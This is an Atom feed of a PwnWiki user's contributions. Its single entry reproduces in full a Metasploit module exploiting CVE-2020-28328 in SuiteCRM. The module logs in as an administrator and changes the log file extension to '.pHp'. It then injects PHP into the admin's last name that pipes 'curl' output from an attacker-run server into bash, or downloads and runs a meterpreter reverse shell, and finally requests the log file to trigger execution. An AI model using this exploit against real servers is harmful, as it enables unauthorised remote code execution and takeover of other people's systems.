<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=%E7%8C%AA%E5%84%BF%E8%99%AB</id>
	<title>PwnWiki - User contributions [Chinese]</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=%E7%8C%AA%E5%84%BF%E8%99%AB"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Special:Contributions/%E7%8C%AA%E5%84%BF%E8%99%AB"/>
	<updated>2026-04-03T18:25:17Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-28328_SuiteCRM_Log_File_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=5376</id>
		<title>CVE-2020-28328 SuiteCRM Log File 遠程代碼執行漏洞</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-28328_SuiteCRM_Log_File_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=5376"/>
		<updated>2021-06-19T16:23:02Z</updated>

		<summary type="html">&lt;p&gt;猪儿虫: Marked this version for translation&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==MSF模塊== &amp;lt;!--T:1--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Remote&lt;br /&gt;
  Rank = GoodRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Exploit::Remote::HttpClient&lt;br /&gt;
  include Msf::Exploit::Remote::CmdStager&lt;br /&gt;
  include Msf::Exploit::FileDropper&lt;br /&gt;
  prepend Msf::Exploit::Remote::AutoCheck&lt;br /&gt;
&lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(&lt;br /&gt;
      update_info(&lt;br /&gt;
        info,&lt;br /&gt;
        'Name' =&amp;gt; 'SuiteCRM Log File Remote Code Execution',&lt;br /&gt;
        'Description' =&amp;gt; %q{&lt;br /&gt;
          This module exploits an input validation error on the log file extension parameter. It does&lt;br /&gt;
          not properly validate upper/lower case characters. Once this occurs, the application log file&lt;br /&gt;
          will be treated as a php file. The log file can then be populated with php code by changing the&lt;br /&gt;
          username of a valid user, as this info is logged. The php code in the file can then be executed&lt;br /&gt;
          by sending an HTTP request to the log file. A similar issue was reported by the same researcher&lt;br /&gt;
          where a blank file extension could be supplied and the extension could be provided in the file&lt;br /&gt;
          name. This exploit will work on those versions as well, and those references are included.&lt;br /&gt;
        },&lt;br /&gt;
        'License' =&amp;gt; MSF_LICENSE,&lt;br /&gt;
        'Author' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            'M. Cory Billington' # @_th3y&lt;br /&gt;
          ],&lt;br /&gt;
        'References' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            ['CVE', '2020-28328'], # First CVE&lt;br /&gt;
            ['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue.&lt;br /&gt;
            ['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit&lt;br /&gt;
            ['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit&lt;br /&gt;
          ],&lt;br /&gt;
        'Platform' =&amp;gt; %w[linux unix],&lt;br /&gt;
        'Arch' =&amp;gt; %w[ARCH_X64 ARCH_CMD ARCH_X86],&lt;br /&gt;
        'Targets' =&amp;gt;&lt;br /&gt;
        [&lt;br /&gt;
          [&lt;br /&gt;
            'Linux (x64)', {&lt;br /&gt;
              'Arch' =&amp;gt; ARCH_X64,&lt;br /&gt;
              'Platform' =&amp;gt; 'linux',&lt;br /&gt;
              'DefaultOptions' =&amp;gt; {&lt;br /&gt;
                'PAYLOAD' =&amp;gt; 'linux/x64/meterpreter_reverse_tcp'&lt;br /&gt;
              }&lt;br /&gt;
            }&lt;br /&gt;
          ],&lt;br /&gt;
          [&lt;br /&gt;
            'Linux (cmd)', {&lt;br /&gt;
              'Arch' =&amp;gt; ARCH_CMD,&lt;br /&gt;
              'Platform' =&amp;gt; 'unix',&lt;br /&gt;
              'DefaultOptions' =&amp;gt; {&lt;br /&gt;
                'PAYLOAD' =&amp;gt; 'cmd/unix/reverse_bash'&lt;br /&gt;
              }&lt;br /&gt;
            }&lt;br /&gt;
          ]&lt;br /&gt;
        ],&lt;br /&gt;
        'Notes' =&amp;gt;&lt;br /&gt;
        {&lt;br /&gt;
          'Stability' =&amp;gt; [CRASH_SAFE],&lt;br /&gt;
          'SideEffects' =&amp;gt; [ARTIFACTS_ON_DISK, IOC_IN_LOGS],&lt;br /&gt;
          'Reliability' =&amp;gt; [REPEATABLE_SESSION]&lt;br /&gt;
        },&lt;br /&gt;
        'Privileged' =&amp;gt; true,&lt;br /&gt;
        'DisclosureDate' =&amp;gt; '2021-04-28',&lt;br /&gt;
        'DefaultTarget' =&amp;gt; 0&lt;br /&gt;
      )&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    register_options(&lt;br /&gt;
      [&lt;br /&gt;
        OptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']),&lt;br /&gt;
        OptString.new('USER', [true, 'Username of user with administrative rights', 'admin']),&lt;br /&gt;
        OptString.new('PASS', [true, 'Password for administrator', 'admin']),&lt;br /&gt;
        OptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]),&lt;br /&gt;
        OptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']),&lt;br /&gt;
        OptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin'])&lt;br /&gt;
      ]&lt;br /&gt;
    )&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check&lt;br /&gt;
    authenticate unless @authenticated&lt;br /&gt;
    return Exploit::CheckCode::Unknown unless @authenticated&lt;br /&gt;
&lt;br /&gt;
    version_check_request = send_request_cgi(&lt;br /&gt;
      {&lt;br /&gt;
        'method' =&amp;gt; 'GET',&lt;br /&gt;
        'uri' =&amp;gt; normalize_uri(target_uri.path, 'index.php'),&lt;br /&gt;
        'keep_cookies' =&amp;gt; true,&lt;br /&gt;
        'vars_get' =&amp;gt; {&lt;br /&gt;
          'module' =&amp;gt; 'Home',&lt;br /&gt;
          'action' =&amp;gt; 'About'&lt;br /&gt;
        }&lt;br /&gt;
      }&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    return Exploit::CheckCode::Unknown(&amp;quot;#{peer} - Connection timed out&amp;quot;) unless version_check_request&lt;br /&gt;
&lt;br /&gt;
    version_match = version_check_request.body[/&lt;br /&gt;
      Version&lt;br /&gt;
      \s&lt;br /&gt;
      \d{1} # Major revision&lt;br /&gt;
      \.&lt;br /&gt;
      \d{1,2} # Minor revision&lt;br /&gt;
      \.&lt;br /&gt;
      \d{1,2} # Bug fix release&lt;br /&gt;
      /x]&lt;br /&gt;
&lt;br /&gt;
    version = version_match.partition(' ').last&lt;br /&gt;
&lt;br /&gt;
    if version.nil? || version.empty?&lt;br /&gt;
      about_url = &amp;quot;#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&amp;amp;action=About&amp;quot;&lt;br /&gt;
      return Exploit::CheckCode::Unknown(&amp;quot;Check #{about_url} to confirm version.&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    patched_version = Rex::Version.new('7.11.18')&lt;br /&gt;
    current_version = Rex::Version.new(version)&lt;br /&gt;
&lt;br /&gt;
    return Exploit::CheckCode::Appears(&amp;quot;SuiteCRM #{version}&amp;quot;) if current_version &amp;lt;= patched_version&lt;br /&gt;
&lt;br /&gt;
    Exploit::CheckCode::Safe(&amp;quot;SuiteCRM #{version}&amp;quot;)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def authenticate&lt;br /&gt;
    print_status(&amp;quot;Authenticating as #{datastore['USER']}&amp;quot;)&lt;br /&gt;
    initial_req = send_request_cgi(&lt;br /&gt;
      {&lt;br /&gt;
        'method' =&amp;gt; 'GET',&lt;br /&gt;
        'uri' =&amp;gt; normalize_uri(target_uri, 'index.php'),&lt;br /&gt;
        'keep_cookies' =&amp;gt; true,&lt;br /&gt;
        'vars_get' =&amp;gt; {&lt;br /&gt;
          'module' =&amp;gt; 'Users',&lt;br /&gt;
          'action' =&amp;gt; 'Login'&lt;br /&gt;
        }&lt;br /&gt;
      }&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    return false unless initial_req &amp;amp;&amp;amp; initial_req.code == 200&lt;br /&gt;
&lt;br /&gt;
    login = send_request_cgi(&lt;br /&gt;
      {&lt;br /&gt;
        'method' =&amp;gt; 'POST',&lt;br /&gt;
        'uri' =&amp;gt; normalize_uri(target_uri, 'index.php'),&lt;br /&gt;
        'keep_cookies' =&amp;gt; true,&lt;br /&gt;
        'vars_post' =&amp;gt; {&lt;br /&gt;
          'module' =&amp;gt; 'Users',&lt;br /&gt;
          'action' =&amp;gt; 'Authenticate',&lt;br /&gt;
          'return_module' =&amp;gt; 'Users',&lt;br /&gt;
          'return_action' =&amp;gt; 'Login',&lt;br /&gt;
          'user_name' =&amp;gt; datastore['USER'],&lt;br /&gt;
          'username_password' =&amp;gt; datastore['PASS'],&lt;br /&gt;
          'Login' =&amp;gt; 'Log In'&lt;br /&gt;
        }&lt;br /&gt;
      }&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    return false unless login &amp;amp;&amp;amp; login.code == 302&lt;br /&gt;
&lt;br /&gt;
    res = send_request_cgi(&lt;br /&gt;
      {&lt;br /&gt;
        'method' =&amp;gt; 'GET',&lt;br /&gt;
        'uri' =&amp;gt; normalize_uri(target_uri, 'index.php'),&lt;br /&gt;
        'keep_cookies' =&amp;gt; true,&lt;br /&gt;
        'vars_get' =&amp;gt; {&lt;br /&gt;
          'module' =&amp;gt; 'Administration',&lt;br /&gt;
          'action' =&amp;gt; 'index'&lt;br /&gt;
        }&lt;br /&gt;
      }&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    auth_succeeded?(res)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def auth_succeeded?(res)&lt;br /&gt;
    return false unless res&lt;br /&gt;
&lt;br /&gt;
    if res.code == 200&lt;br /&gt;
      print_good(&amp;quot;Authenticated as: #{datastore['USER']}&amp;quot;)&lt;br /&gt;
      if res.body.include?('Unauthorized access to administration.')&lt;br /&gt;
        print_warning(&amp;quot;#{datastore['USER']} does not have administrative rights! Exploit will fail.&amp;quot;)&lt;br /&gt;
        @is_admin = false&lt;br /&gt;
      else&lt;br /&gt;
        print_good(&amp;quot;#{datastore['USER']} has administrative rights.&amp;quot;)&lt;br /&gt;
        @is_admin = true&lt;br /&gt;
      end&lt;br /&gt;
      @authenticated = true&lt;br /&gt;
      return true&lt;br /&gt;
    else&lt;br /&gt;
      print_error(&amp;quot;Failed to authenticate as: #{datastore['USER']}&amp;quot;)&lt;br /&gt;
      return false&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def post_log_file(data)&lt;br /&gt;
    send_request_cgi(&lt;br /&gt;
      {&lt;br /&gt;
        'method' =&amp;gt; 'POST',&lt;br /&gt;
        'uri' =&amp;gt; normalize_uri(target_uri, 'index.php'),&lt;br /&gt;
        'ctype' =&amp;gt; &amp;quot;multipart/form-data; boundary=#{data.bound}&amp;quot;,&lt;br /&gt;
        'keep_cookies' =&amp;gt; true,&lt;br /&gt;
        'headers' =&amp;gt; {&lt;br /&gt;
          'Referer' =&amp;gt; &amp;quot;#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&amp;amp;action=EditView&amp;quot;&lt;br /&gt;
        },&lt;br /&gt;
        'data' =&amp;gt; data.to_s&lt;br /&gt;
      }&lt;br /&gt;
    )&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def modify_system_settings_file&lt;br /&gt;
    filename = rand_text_alphanumeric(8).to_s&lt;br /&gt;
    extension = '.pHp'&lt;br /&gt;
    @php_fname = filename + extension&lt;br /&gt;
    action = 'Modify system settings file'&lt;br /&gt;
    print_status(&amp;quot;Trying - #{action}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    data = Rex::MIME::Message.new&lt;br /&gt;
    data.add_part('SaveConfig', nil, nil, 'form-data; name=&amp;quot;action&amp;quot;')&lt;br /&gt;
    data.add_part('Configurator', nil, nil, 'form-data; name=&amp;quot;module&amp;quot;')&lt;br /&gt;
    data.add_part(filename.to_s, nil, nil, 'form-data; name=&amp;quot;logger_file_name&amp;quot;')&lt;br /&gt;
    data.add_part(extension.to_s, nil, nil, 'form-data; name=&amp;quot;logger_file_ext&amp;quot;')&lt;br /&gt;
    data.add_part('info', nil, nil, 'form-data; name=&amp;quot;logger_level&amp;quot;')&lt;br /&gt;
    data.add_part('Save', nil, nil, 'form-data; name=&amp;quot;save&amp;quot;')&lt;br /&gt;
&lt;br /&gt;
    res = post_log_file(data)&lt;br /&gt;
    check_logfile_request(res, action)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def poison_log_file&lt;br /&gt;
    action = 'Poison log file'&lt;br /&gt;
    if target.arch.first == 'cmd'&lt;br /&gt;
      command_injection = &amp;quot;&amp;lt;?php `curl #{@download_url} | bash`; ?&amp;gt;&amp;quot;&lt;br /&gt;
    else&lt;br /&gt;
      @meterpreter_fname = &amp;quot;#{datastore['WRITABLEDIR']}/#{rand_text_alphanumeric(8)}&amp;quot;&lt;br /&gt;
      command_injection = %(&lt;br /&gt;
        &amp;lt;?php `curl #{@download_url} -o #{@meterpreter_fname};&lt;br /&gt;
        /bin/chmod 700 #{@meterpreter_fname};&lt;br /&gt;
        /bin/sh -c #{@meterpreter_fname};`; ?&amp;gt;&lt;br /&gt;
      )&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    print_status(&amp;quot;Trying - #{action}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    data = Rex::MIME::Message.new&lt;br /&gt;
    data.add_part('Users', nil, nil, 'form-data; name=&amp;quot;module&amp;quot;')&lt;br /&gt;
    data.add_part('1', nil, nil, 'form-data; name=&amp;quot;record&amp;quot;')&lt;br /&gt;
    data.add_part('Save', nil, nil, 'form-data; name=&amp;quot;action&amp;quot;')&lt;br /&gt;
    data.add_part('EditView', nil, nil, 'form-data; name=&amp;quot;page&amp;quot;')&lt;br /&gt;
    data.add_part('DetailView', nil, nil, 'form-data; name=&amp;quot;return_action&amp;quot;')&lt;br /&gt;
    data.add_part(datastore['USER'], nil, nil, 'form-data; name=&amp;quot;user_name&amp;quot;')&lt;br /&gt;
    data.add_part(command_injection, nil, nil, 'form-data; name=&amp;quot;last_name&amp;quot;')&lt;br /&gt;
&lt;br /&gt;
    res = post_log_file(data)&lt;br /&gt;
    check_logfile_request(res, action)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def restore&lt;br /&gt;
    action = 'Restore logging to default configuration'&lt;br /&gt;
    print_status(&amp;quot;Trying - #{action}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    data = Rex::MIME::Message.new&lt;br /&gt;
    data.add_part('SaveConfig', nil, nil, 'form-data; name=&amp;quot;action&amp;quot;')&lt;br /&gt;
    data.add_part('Configurator', nil, nil, 'form-data; name=&amp;quot;module&amp;quot;')&lt;br /&gt;
    data.add_part('suitecrm', nil, nil, 'form-data; name=&amp;quot;logger_file_name&amp;quot;')&lt;br /&gt;
    data.add_part('.log', nil, nil, 'form-data; name=&amp;quot;logger_file_ext&amp;quot;')&lt;br /&gt;
    data.add_part('fatal', nil, nil, 'form-data; name=&amp;quot;logger_level&amp;quot;')&lt;br /&gt;
    data.add_part('Save', nil, nil, 'form-data; name=&amp;quot;save&amp;quot;')&lt;br /&gt;
&lt;br /&gt;
    post_log_file(data)&lt;br /&gt;
&lt;br /&gt;
    data = Rex::MIME::Message.new&lt;br /&gt;
    data.add_part('Users', nil, nil, 'form-data; name=&amp;quot;module&amp;quot;')&lt;br /&gt;
    data.add_part('1', nil, nil, 'form-data; name=&amp;quot;record&amp;quot;')&lt;br /&gt;
    data.add_part('Save', nil, nil, 'form-data; name=&amp;quot;action&amp;quot;')&lt;br /&gt;
    data.add_part('EditView', nil, nil, 'form-data; name=&amp;quot;page&amp;quot;')&lt;br /&gt;
    data.add_part('DetailView', nil, nil, 'form-data; name=&amp;quot;return_action&amp;quot;')&lt;br /&gt;
    data.add_part(datastore['USER'], nil, nil, 'form-data; name=&amp;quot;user_name&amp;quot;')&lt;br /&gt;
    data.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name=&amp;quot;last_name&amp;quot;')&lt;br /&gt;
&lt;br /&gt;
    res = post_log_file(data)&lt;br /&gt;
&lt;br /&gt;
    print_error(&amp;quot;Failed - #{action}&amp;quot;) unless res &amp;amp;&amp;amp; res.code == 301&lt;br /&gt;
&lt;br /&gt;
    print_good(&amp;quot;Succeeded - #{action}&amp;quot;)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check_logfile_request(res, action)&lt;br /&gt;
    fail_with(Failure::Unknown, &amp;quot;#{action} - no reply&amp;quot;) unless res&lt;br /&gt;
&lt;br /&gt;
    unless res.code == 301&lt;br /&gt;
      print_error(&amp;quot;Failed - #{action}&amp;quot;)&lt;br /&gt;
      fail_with(Failure::UnexpectedReply, &amp;quot;Failed - #{action}&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
    print_good(&amp;quot;Succeeded - #{action}&amp;quot;)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def execute_php&lt;br /&gt;
    print_status(&amp;quot;Executing php code in log file: #{@php_fname}&amp;quot;)&lt;br /&gt;
    res = send_request_cgi(&lt;br /&gt;
      {&lt;br /&gt;
        'uri' =&amp;gt; normalize_uri(target_uri, @php_fname),&lt;br /&gt;
        'keep_cookies' =&amp;gt; true&lt;br /&gt;
      }&lt;br /&gt;
    )&lt;br /&gt;
    fail_with(Failure::NotFound, &amp;quot;#{peer} - Not found: #{@php_fname}&amp;quot;) if res &amp;amp;&amp;amp; res.code == 404&lt;br /&gt;
    register_files_for_cleanup(@php_fname)&lt;br /&gt;
    register_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty?&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def on_request_uri(cli, _request)&lt;br /&gt;
    send_response(cli, payload.encoded, { 'Content-Type' =&amp;gt; 'text/plain' })&lt;br /&gt;
    print_good(&amp;quot;#{peer} - Payload sent!&amp;quot;)&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def start_http_server&lt;br /&gt;
    start_service(&lt;br /&gt;
      {&lt;br /&gt;
        'Uri' =&amp;gt; {&lt;br /&gt;
          'Proc' =&amp;gt; proc do |cli, req|&lt;br /&gt;
            on_request_uri(cli, req)&lt;br /&gt;
          end,&lt;br /&gt;
          'Path' =&amp;gt; resource_uri&lt;br /&gt;
        }&lt;br /&gt;
      }&lt;br /&gt;
    )&lt;br /&gt;
    @download_url = get_uri&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    start_http_server&lt;br /&gt;
    authenticate unless @authenticated&lt;br /&gt;
    fail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated&lt;br /&gt;
    fail_with(Failure::NoAccess, &amp;quot;#{datastore['USER']} does not have administrative rights!&amp;quot;) unless @is_admin&lt;br /&gt;
    modify_system_settings_file&lt;br /&gt;
    poison_log_file&lt;br /&gt;
    execute_php&lt;br /&gt;
  ensure&lt;br /&gt;
    restore if datastore['RESTORECONF']&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>猪儿虫</name></author>
	</entry>
</feed>